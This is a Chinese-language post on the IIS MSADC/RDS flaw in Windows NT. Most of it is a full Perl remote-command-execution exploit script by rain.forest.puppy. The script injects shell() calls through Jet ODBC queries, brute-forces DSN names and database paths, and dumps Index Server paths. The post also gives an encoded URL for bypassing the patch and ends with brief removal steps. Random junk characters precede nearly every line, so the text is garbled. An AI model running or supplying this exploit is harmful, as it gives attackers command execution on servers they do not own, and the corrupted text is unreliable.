IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9&'HhJm ]I(<hDuRp 涉及程序：
)q>q]eHz Microsoft NT server
{@
Z%6%'9 Aw=GvCo< 描述：
JjnWv7W3$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Sj@VOW <Eh_ 详细：
}/}eZCaG 如果你没有时间读详细内容的话，就删除:
pU[5f5_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
QR h %S{ 有关的安全问题就没有了。
YguY5z ?5rM'O2 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
tJ M m ;BW9SqlN 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
.pPtBqp 关于利用ODBC远程漏洞的描述，请参看:
4[n[Ch=lu )* Rr5l /l http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _!^2A3c< ~A,(D- 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
cb% ML1c http://www.microsoft.com/security/bulletins/MS99-025faq.asp
c->?'h23) \ x=!' 这里不再论述。
tW"s^r=95 z9ZS& => 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
pzco f#2 DUyUA'*4n| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#-K,," 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
*DPKV$ oE$ zOS&2 sm at6p[ #将下面这段保存为txt文件，然后: "perl -x 文件名"
#gRtCoew 0<42\ya #!perl
t[X,m]SX #
%p
tw=Ju # MSADC/RDS 'usage' (aka exploit) script
R6 qC0@ * #
1'SpJL1u~ # by rain.forest.puppy
%oiA'hz;* #
L?r\J8Ch< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
G[\3)@I # beta test and find errors!
< M M(Z ?tf<AZ=+^L use Socket; use Getopt::Std;
{z 7kW@c getopts("e:vd:h:XR", \%args);
9~yp =JOV@ ?oQAxb& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^LAdN8Cbb T*z y^w e if (!defined $args{h} && !defined $args{R}) {
jQY^[A print qq~
bXK$H=S Bz Usage: msadc.pl -h <host> { -d <delay> -X -v }
m,# Us -h <host> = host you want to scan (ip or domain)
b~O c: -d <seconds> = delay between calls, default 1 second
wPH1g*U -X = dump Index Server path table, if available
& 6~AY :0r -v = verbose
<77v8=as5 -e = external dictionary file for step 5
:hUt7/3c }7Y @u@R Or a -R will resume a command session
81Ityd-} hdurT ~; exit;}
7.7Z|lJ x).`nZ1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y<n<uZ; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zq4)Uab* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k"J=CDP\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yMBFw:/o $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
# {|F2A M if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z)&GF$* r_e]sOCb if (!defined $args{R}){ $ret = &has_msadc;
H"%SzU die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Mgc|># = @BS7Gyw print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C_
(s . "cmd /c ";
+ u'y!@VV $in=<STDIN>; chomp $in;
Xsv^GmP+ $command="cmd /c " . $in ;
>d#Ks0\& \>(S?)6 if (defined $args{R}) {&load; exit;}
\%/zf -'Y @yIb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
4-{f$Z @ &try_btcustmr;
L+ d4&x e?eX9yA7F print "\nStep 2: Trying to make our own DSN...";
:H`Z.>K &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bAm ,gP !nyUAZ9 : print "\nStep 3: Trying known DSNs...";
C9}m-N &known_dsn;
AcxC$uh e6igx print "\nStep 4: Trying known .mdbs...";
Hp?uYih0 &known_mdb;
oEnCe ) Qx&m} if (defined $args{e}){
Z*Jp?[## print "\nStep 5: Trying dictionary of DSN names...";
8n Oent0a &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ik Pm,ZN yZDS>7H print "Sorry Charley...maybe next time?\n";
GJIM^ exit;
#Yr/GNN o5 |P5h ##############################################################################
?q+^U>wy& u[ 2B0a sub sendraw { # ripped and modded from whisker
p:q?8+W-r sleep($delay); # it's a DoS on the server! At least on mine...
{[Vkht} my ($pstr)=@_;
[^GXHE= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VN!+r7w' die("Socket problems\n");
Af{K#R8! if(connect(S,pack "SnA4x8",2,80,$target)){
|FrZ,( \ select(S); $|=1;
!w -`:d? print $pstr; my @in=<S>;
hh y nB^o select(STDOUT); close(S);
-R z%<` return @in;
R2!_)Rpf } else { die("Can't connect...\n"); }}
0-a[[hL? #K _E/~ ##############################################################################
p{k^ )5CR/ " .:b43Z sub make_header { # make the HTTP request
}m0h q+p^ my $msadc=<<EOT
_
BUD~'Q5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
yQ M<(;\O User-Agent: ACTIVEDATA
9#A&Qvyywg Host: $ip
KOM]7%ys1H Content-Length: $clen
bTN0 n Connection: Keep-Alive
:UdH}u!Ek x9{&rl dC ADCClientVersion:01.06
GVl TW?5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Xs7x Z$ iS%m d --!ADM!ROX!YOUR!WORLD!
~\~K ,v Content-Type: application/x-varg
KJ&~z? X Content-Length: $reqlen
;^`W X}]C( 8rwXbYx
x EOT
~G ZpAPg* ; $msadc=~s/\n/\r\n/g;
G8E=E<Yg~ return $msadc;}
:P1/ kYg >'GQB ##############################################################################
uk)6% ?c!W*`yP sub make_req { # make the RDS request
h d E? %A my ($switch, $p1, $p2)=@_;
+W -,74A my $req=""; my $t1, $t2, $query, $dsn;
iig ({b {F~:8 6z(g if ($switch==1){ # this is the btcustmr.mdb query
L% cr `<~ $query="Select * from Customers where City=" . make_shell();
b=-LQkcZhK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Rw9 *!<Izt $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
x\m?* 5p XK 09x1r elsif ($switch==2){ # this is general make table query
N=X(G( $query="create table AZZ (B int, C varchar(10))";
\X?GzQkr $dsn="$p1";}
qr~= S `mfN3Q *[c elsif ($switch==3){ # this is general exploit table query
aAX(M=3 $query="select * from AZZ where C=" . make_shell();
#*|0WaC $dsn="$p1";}
(V xWa#P p*^[
~} N elsif ($switch==4){ # attempt to hork file info from index server
s{]2~Z^2od $query="select path from scope()";
=p
lG9 $dsn="Provider=MSIDXS;";}
Z}
8 m]I ~!Q\\_ elsif ($switch==5){ # bad query
h'_@ $query="select";
X+*"FKm S. $dsn="$p1";}
pzPm(M1^X /` j~r;S $t1= make_unicode($query);
u9 yXHf $t2= make_unicode($dsn);
)G">7cg;t $req = "\x02\x00\x03\x00";
I>jDM $req.= "\x08\x00" . pack ("S1", length($t1));
sP+ZE>7 $req.= "\x00\x00" . $t1 ;
#el i_Cxe $req.= "\x08\x00" . pack ("S1", length($t2));
nd 5w|83 $req.= "\x00\x00" . $t2 ;
mJ3|UClPS $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
h 'F\9t return $req;}
w53+k\. Cy~Pfty ##############################################################################
Ao:<aX,= NzP5s&,C69 sub make_shell { # this makes the shell() statement
q-;z!iq|! return "'|shell(\"$command\")|'";}
*: *Kdt`'G {' QA0K ##############################################################################
kdX ]Afyj ;U^7 ]JO; sub make_unicode { # quick little function to convert to unicode
e u F@SS my ($in)=@_; my $out;
}4; \sY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
A{!D7kwTz~ return $out;}
Yzr|Z7r q} `V; vvHP A ##############################################################################
tw`{\kWG A;4O,p@ sub rdo_success { # checks for RDO return success (this is kludge)
^@&RJa-kb my (@in) = @_; my $base=content_start(@in);
oA _,jsD4 if($in[$base]=~/multipart\/mixed/){
% e@Jc 3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B[]v[q< return 0;}
dz6i ~& /kAu &} ##############################################################################
22|a~"Z FE`:1 sub make_dsn { # this makes a DSN for us
V=@M!;'< my @drives=("c","d","e","f");
jtMN )TM print "\nMaking DSN: ";
~ [por foreach $drive (@drives) {
pm*6&, print "$drive: ";
bOi`JJ^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
azj:Hru&t# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
m|RA@sY%` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
gZFtV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-L&FguoVB return 0 if $2 eq "404"; # not found/doesn't exist
kO]], Vy` if($2 eq "200") {
7,sslf2%K foreach $line (@results) {
`[.':"~2N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
QT5,_+ho } return 0;}
M-Az2x;6 S}=euY'i ##############################################################################
Tn~b#-0 *E Z'S+wR sub verify_exists {
Z|FWQ8gZ4m my ($page)=@_;
p~T)Af<(
my @results=sendraw("GET $page HTTP/1.0\n\n");
^_5Nh^ return $results[0];}
| %Dh PKT/U^2X] ##############################################################################
5z8!Nmb/ ![wV}. } sub try_btcustmr {
> g+ogw Z my @drives=("c","d","e","f");
g,5r)FU` my @dirs=("winnt","winnt35","winnt351","win","windows");
`YDe<@6' xZ*.@Pkr foreach $dir (@dirs) {
>f [Lb|t print "$dir -> "; # fun status so you can see progress
1!@ KRV foreach $drive (@drives) {
!+?, y/*5( print "$drive: "; # ditto
AwhXCq|k $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.c[v /SB] $reqlenlen=length( "$reqlen" );
PKoB~wLH $clen= 206 + $reqlenlen + $reqlen;
&></l| hY A9_)} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
;:nO5VFOg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
TSQ/{=r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
FK
MuRy| kKV`9&dZe ##############################################################################
OY'490 4s?x 8oAy sub odbc_error {
69U[kW& my (@in)=@_; my $base;
p{knQ], my $base = content_start(@in);
-kp! .c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
DwXzmp[qWH $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i-(^t1c $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"o
+" Jd $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VU1 ;ZJ E return $in[$base+4].$in[$base+5].$in[$base+6];}
>&K1+FSmyJ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i^[yGXtW print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$V$|"KRcs $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Sri,sZv s6k,' `. ##############################################################################
\de82 4 BJgg-z{ Y sub verbose {
|fXwH> 'sw my ($in)=@_;
>gAq/'.Q return if !$verbose;
F&r+"O)^-R print STDOUT "\n$in\n";}
s 2t'jIB d($f8{~W ##############################################################################
S0V%JY;Gv ,nqG*
o sub save {
&j}\Z D my ($p1, $p2, $p3, $p4)=@_;
Las4ux[_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[TiOh' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2.=3:q!H<% close OUT;}
uJ<sa; dQ97O{O:i ##############################################################################
9Ny{2m=Ye GWZ0!V sub load {
V\8vJ3.YV my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&:g5+([< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
(`}O!;/E} @p=<IN>; close(IN);
4e d+'-"m $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[\NyB c $target= inet_aton($ip) || die("inet_aton problems");
M IPmsEdBi print "Resuming to $ip ...";
cT
abZc $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
l^x5m]Kt if($p[1]==1) {
MR$Bl"d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
KQ<pQkhv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9.R )iA my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^\kv> WBE if (rdo_success(@results)){print "Success!\n";}
p:u?a, p else { print "failed\n"; verbose(odbc_error(@results));}}
(q+U5Ls6 elsif ($p[1]==3){
^ g`1SU` if(run_query("$p[3]")){
O@ jW&-; print "Success!\n";} else { print "failed\n"; }}
bq3G3oAyG elsif ($p[1]==4){
:. B};;N if(run_query($drvst . "$p[3]")){
L 0k K' n? print "Success!\n"; } else { print "failed\n"; }}
Rt{qbM|b& exit;}
)P\ Vd # 7-81,ADv( ##############################################################################
cCN[c)[c| z5Hz-. sub create_table {
0IoS|P}6a my ($in)=@_;
/X)fWO S6 $reqlen=length( make_req(2,$in,"") ) - 28;
kB d #=J $reqlenlen=length( "$reqlen" );
`i0RLGze $clen= 206 + $reqlenlen + $reqlen;
v|~ yIywf my @results=sendraw(make_header() . make_req(2,$in,""));
6R% I) return 1 if rdo_success(@results);
QSf{V(fs my $temp= odbc_error(@results); verbose($temp);
g9OO#C> return 1 if $temp=~/Table 'AZZ' already exists/;
B3uv>\ return 0;}
X"<t3l(+ zRsG$)B ##############################################################################
lqe;lWC0Z 5% C-eB sub known_dsn {
U]Q2EL\%
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
w~sr2;rp< my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
T%K"^4k "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
j E_a ++ "banner", "banners", "ads", "ADCDemo", "ADCTest");
nb 0V~W RP&H9> foreach $dSn (@dsns) {
bWAhK@epI print ".";
'Uqz , next if (!is_access("DSN=$dSn"));
hh`7b ,+ 4 if(create_table("DSN=$dSn")){
Hw[u Sv8 print "$dSn successful\n";
2'W3:
if(run_query("DSN=$dSn")){
+K2jYgy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ZZp6@@zyq' print "Something's borked. Use verbose next time\n";}}} print "\n";}
YuXq W> 0 36 ##############################################################################
O#fGHI<43[ * 3 mF.^ sub is_access {
\gy39xoW ( my ($in)=@_;
dN
J2pfvv $reqlen=length( make_req(5,$in,"") ) - 28;
EX UjdJs" $reqlenlen=length( "$reqlen" );
s<LF=qGu $clen= 206 + $reqlenlen + $reqlen;
#:v}d+ my @results=sendraw(make_header() . make_req(5,$in,""));
)xIk#>) my $temp= odbc_error(@results);
^B ~z .F
i verbose($temp); return 1 if ($temp=~/Microsoft Access/);
DQY*0\ return 0;}
8@ck" LUzD 85YE6^y ##############################################################################
.p&4]6 !_)*L+7f_ sub run_query {
EQXvEJ^ my ($in)=@_;
zl\mBSBx" $reqlen=length( make_req(3,$in,"") ) - 28;
Hrm^@3 $reqlenlen=length( "$reqlen" );
LC)-aw> - $clen= 206 + $reqlenlen + $reqlen;
J@w Q3#5a my @results=sendraw(make_header() . make_req(3,$in,""));
~itrM3^"w return 1 if rdo_success(@results);
6hQ?M YX my $temp= odbc_error(@results); verbose($temp);
DYkNP: + return 0;}
pq$`T|6 ^ EOWLGle D1 ##############################################################################
9mfqr$ 3 {b~l [ sub known_mdb {
:hB/|H*= my @drives=("c","d","e","f","g");
4%
)I[-sH my @dirs=("winnt","winnt35","winnt351","win","windows");
^=@L(;Y
my $dir, $drive, $mdb;
<m:8%]%M6 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$TS4YaJ% HTuv_kE # this is sparse, because I don't know of many
dBkw.VO W my @sysmdbs=( "\\catroot\\icatalog.mdb",
:4|u bu "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1TeYA6 t "\\system32\\certmdb.mdb",
[=imF^=3Vb "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`b 6j7 :G\f(2@ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
q V2aa9p+ "\\cfusion\\cfapps\\forums\\forums_.mdb",
=NxT9$V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
d[ (KgX9 "\\cfusion\\cfapps\\security\\realm_.mdb",
X8aNl" x "\\cfusion\\cfapps\\security\\data\\realm.mdb",
dq[X:3i "\\cfusion\\database\\cfexamples.mdb",
JJ_77i "\\cfusion\\database\\cfsnippets.mdb",
` MtI>x
c "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
%7WGodlXW "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
^\:"o "\\cfusion\\brighttiger\\database\\cleam.mdb",
QyN<o{\FD! "\\cfusion\\database\\smpolicy.mdb",
}_m/3*x_ "\\cfusion\\database\cypress.mdb",
X;/~ d>@ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@%mJw
u "\\website\\cgi-win\\dbsample.mdb",
uzjP!q O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
(F9U`1~4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
CqGi
2<2 ); #these are just
cC@B\Q foreach $drive (@drives) {
!*#2~$: foreach $dir (@dirs){
DY| s |:d foreach $mdb (@sysmdbs) {
J_) .H d print ".";
";\na!MT if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
uM| *y-4 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
]Q-*xho if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
n@IpO
i$Q print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
uR#aO '' } else { print "Something's borked. Use verbose next time\n"; }}}}}
AP*Z0OFE znm3b8ns foreach $drive (@drives) {
\D
Oq x foreach $mdb (@mdbs) {
8{QN$Qkn print ".";
+zM WIG if(create_table($drv . $drive . $dir . $mdb)){
LDilrG) print "\n" . $drive . $dir . $mdb . " successful\n";
" tax if(run_query($drv . $drive . $dir . $mdb)){
@,b tQ_'X print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yr=$a3web; } else { print "Something's borked. Use verbose next time\n"; }}}}
$mf Z{ }
;jC}.]
_)w T \d-r#{ ##############################################################################
Lh eO GM w<}kY|A"=- sub hork_idx {
Z{<& 2* print "\nAttempting to dump Index Server tables...\n";
ECq(i( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`r?xo7 $reqlen=length( make_req(4,"","") ) - 28;
@AP v?>$) $reqlenlen=length( "$reqlen" );
NF9fPAF%; $clen= 206 + $reqlenlen + $reqlen;
&z'N Q !uV my @results=sendraw2(make_header() . make_req(4,"",""));
vRp#bScc if (rdo_success(@results)){
>/W my $max=@results; my $c; my %d;
fGK=lT$ for($c=19; $c<$max; $c++){
L;jzDng< $results[$c]=~s/\x00//g;
K9\p=H^T7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6k569c{7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
S}QvG &c $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
r1vF/yt( $d{"$1$2"}="";}
D}.Pk>5 foreach $c (keys %d){ print "$c\n"; }
+hoZW R } else {print "Index server doesn't seem to be installed.\n"; }}
HP/f`8 LmCr[9/ ##############################################################################
'E_M , Y !'yCB9]O sub dsn_dict {
X*4iNyIs_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Nu}x`Q kmr while(<IN>){
/#WRd}IjK $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
e u{ next if (!is_access("DSN=$dSn"));
F?h{IH
f if(create_table("DSN=$dSn")){
H rMH
print "$dSn successful\n";
_SVIY@K|/ if(run_query("DSN=$dSn")){
V?_:-!NJ( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k
5~#_D> print "Something's borked. Use verbose next time\n";}}}
( TKn'2 print "\n"; close(IN);}
o p{DPUO0 I %4 )% ##############################################################################
VR5CRN BJ Y B;q5[ sub sendraw2 { # ripped and modded from whisker
$ 9~6M* sleep($delay); # it's a DoS on the server! At least on mine...
397IbZ\ my ($pstr)=@_;
<in#_Of {E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B<V8:vOam die("Socket problems\n");
QB3vp4pBg@ if(connect(S,pack "SnA4x8",2,80,$target)){
pv3SAO4 print "Connected. Getting data";
]H%S GQPn open(OUT,">raw.out"); my @in;
Rix|LKk{ select(S); $|=1; print $pstr;
jUtFDw while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/=y _ # l close(OUT); select(STDOUT); close(S); return @in;
ET2 ^1X#j } else { die("Can't connect...\n"); }}
2c nyq$4k \ytF@"7 ##############################################################################
6}q8%[l| DK6^\k][V sub content_start { # this will take in the server headers
) (4.7> my (@in)=@_; my $c;
1o
Z!Up0 for ($c=1;$c<500;$c++) {
;$il_xA)\> if($in[$c] =~/^\x0d\x0a/){
tAi
~ i;? if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
xE{PsN1 X; else { return $c+1; }}}
Q;h6F{i return -1;} # it should never get here actually
Z?@oe-mz 2:8p>^g= ##############################################################################
vq? aFX9F !e<D2><^ sub funky {
%U< 1] my (@in)=@_; my $error=odbc_error(@in);
T09 'qB if($error=~/ADO could not find the specified provider/){
NKX,[o1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
s MZ90 Q$ exit;}
` !um )4 if($error=~/A Handler is required/){
3D2\#6yo print "\nServer has custom handler filters (they most likely are patched)\n";
K{vn[} exit;}
-zSkon 2Y^ if($error=~/specified Handler has denied Access/){
0t^Tm0RzH print "\nServer has custom handler filters (they most likely are patched)\n";
Y!1x,"O'H exit;}}
4.t72*ML F\ Z|JCA ##############################################################################
\LEU reTn ;WP%)Z sub has_msadc {
';vL j1v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pWm==Ds| my $base=content_start(@results);
.7`c(9< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^+MG"|)u~ return 0;}
K|ZB!oq ?c6`p3p3L ########################
X:Iam# H 02F\1fXS C25EIIdRb 解决方案：
UVUo Xv)N 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X$0&tmum 2、移除web 目录: /msadc
